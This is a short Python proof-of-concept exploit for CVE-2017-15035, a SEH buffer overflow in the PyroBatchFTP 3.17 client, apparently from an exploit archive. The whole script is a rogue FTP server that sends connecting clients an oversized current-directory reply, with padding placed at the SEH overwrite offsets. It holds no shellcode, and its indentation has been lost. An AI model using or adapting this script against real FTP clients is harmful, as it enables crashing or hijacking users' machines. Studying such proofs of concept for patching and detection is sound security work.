PyroBatchFTP 3.17 Buffer Overflow

`#!/usr/bin/python  
  
print "PyroBatchFTP Local Buffer Overflow (SEH) Server"  
  
#Author: Kevin McGuigan @_h3xagram  
#Author Website: https://www.7elements.co.uk  
#Vendor Website: https://www.emtech.com  
#Date: 07/10/2017  
#Version: 3.17  
#Tested on: Windows 7 32-bit  
#CVE: CVE-2017-15035  
  
  
import socket  
import sys  
  
buffer="A" * 2292 + "B" * 4 + "C" * 4 + "D" * 800  
port = 21  
  
try:  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind(("0.0.0.0", port))  
s.listen(5)  
print("[+] FTP server started on port: "+str(port)+"\r\n")  
except:  
print("[+] Failed to bind the server to port: "+str(port)+"\r\n")  
  
while True:  
conn, addr = s.accept()  
conn.send('220 Welcome to PyoBatchFTP Overflow!\r\n')  
print(conn.recv(1024))  
conn.send("331 OK\r\n")  
print(conn.recv(1024))  
conn.send('230 OK\r\n')  
print(conn.recv(1024))  
conn.send('220 "'+buffer+'" is current directory\r\n')  
  
`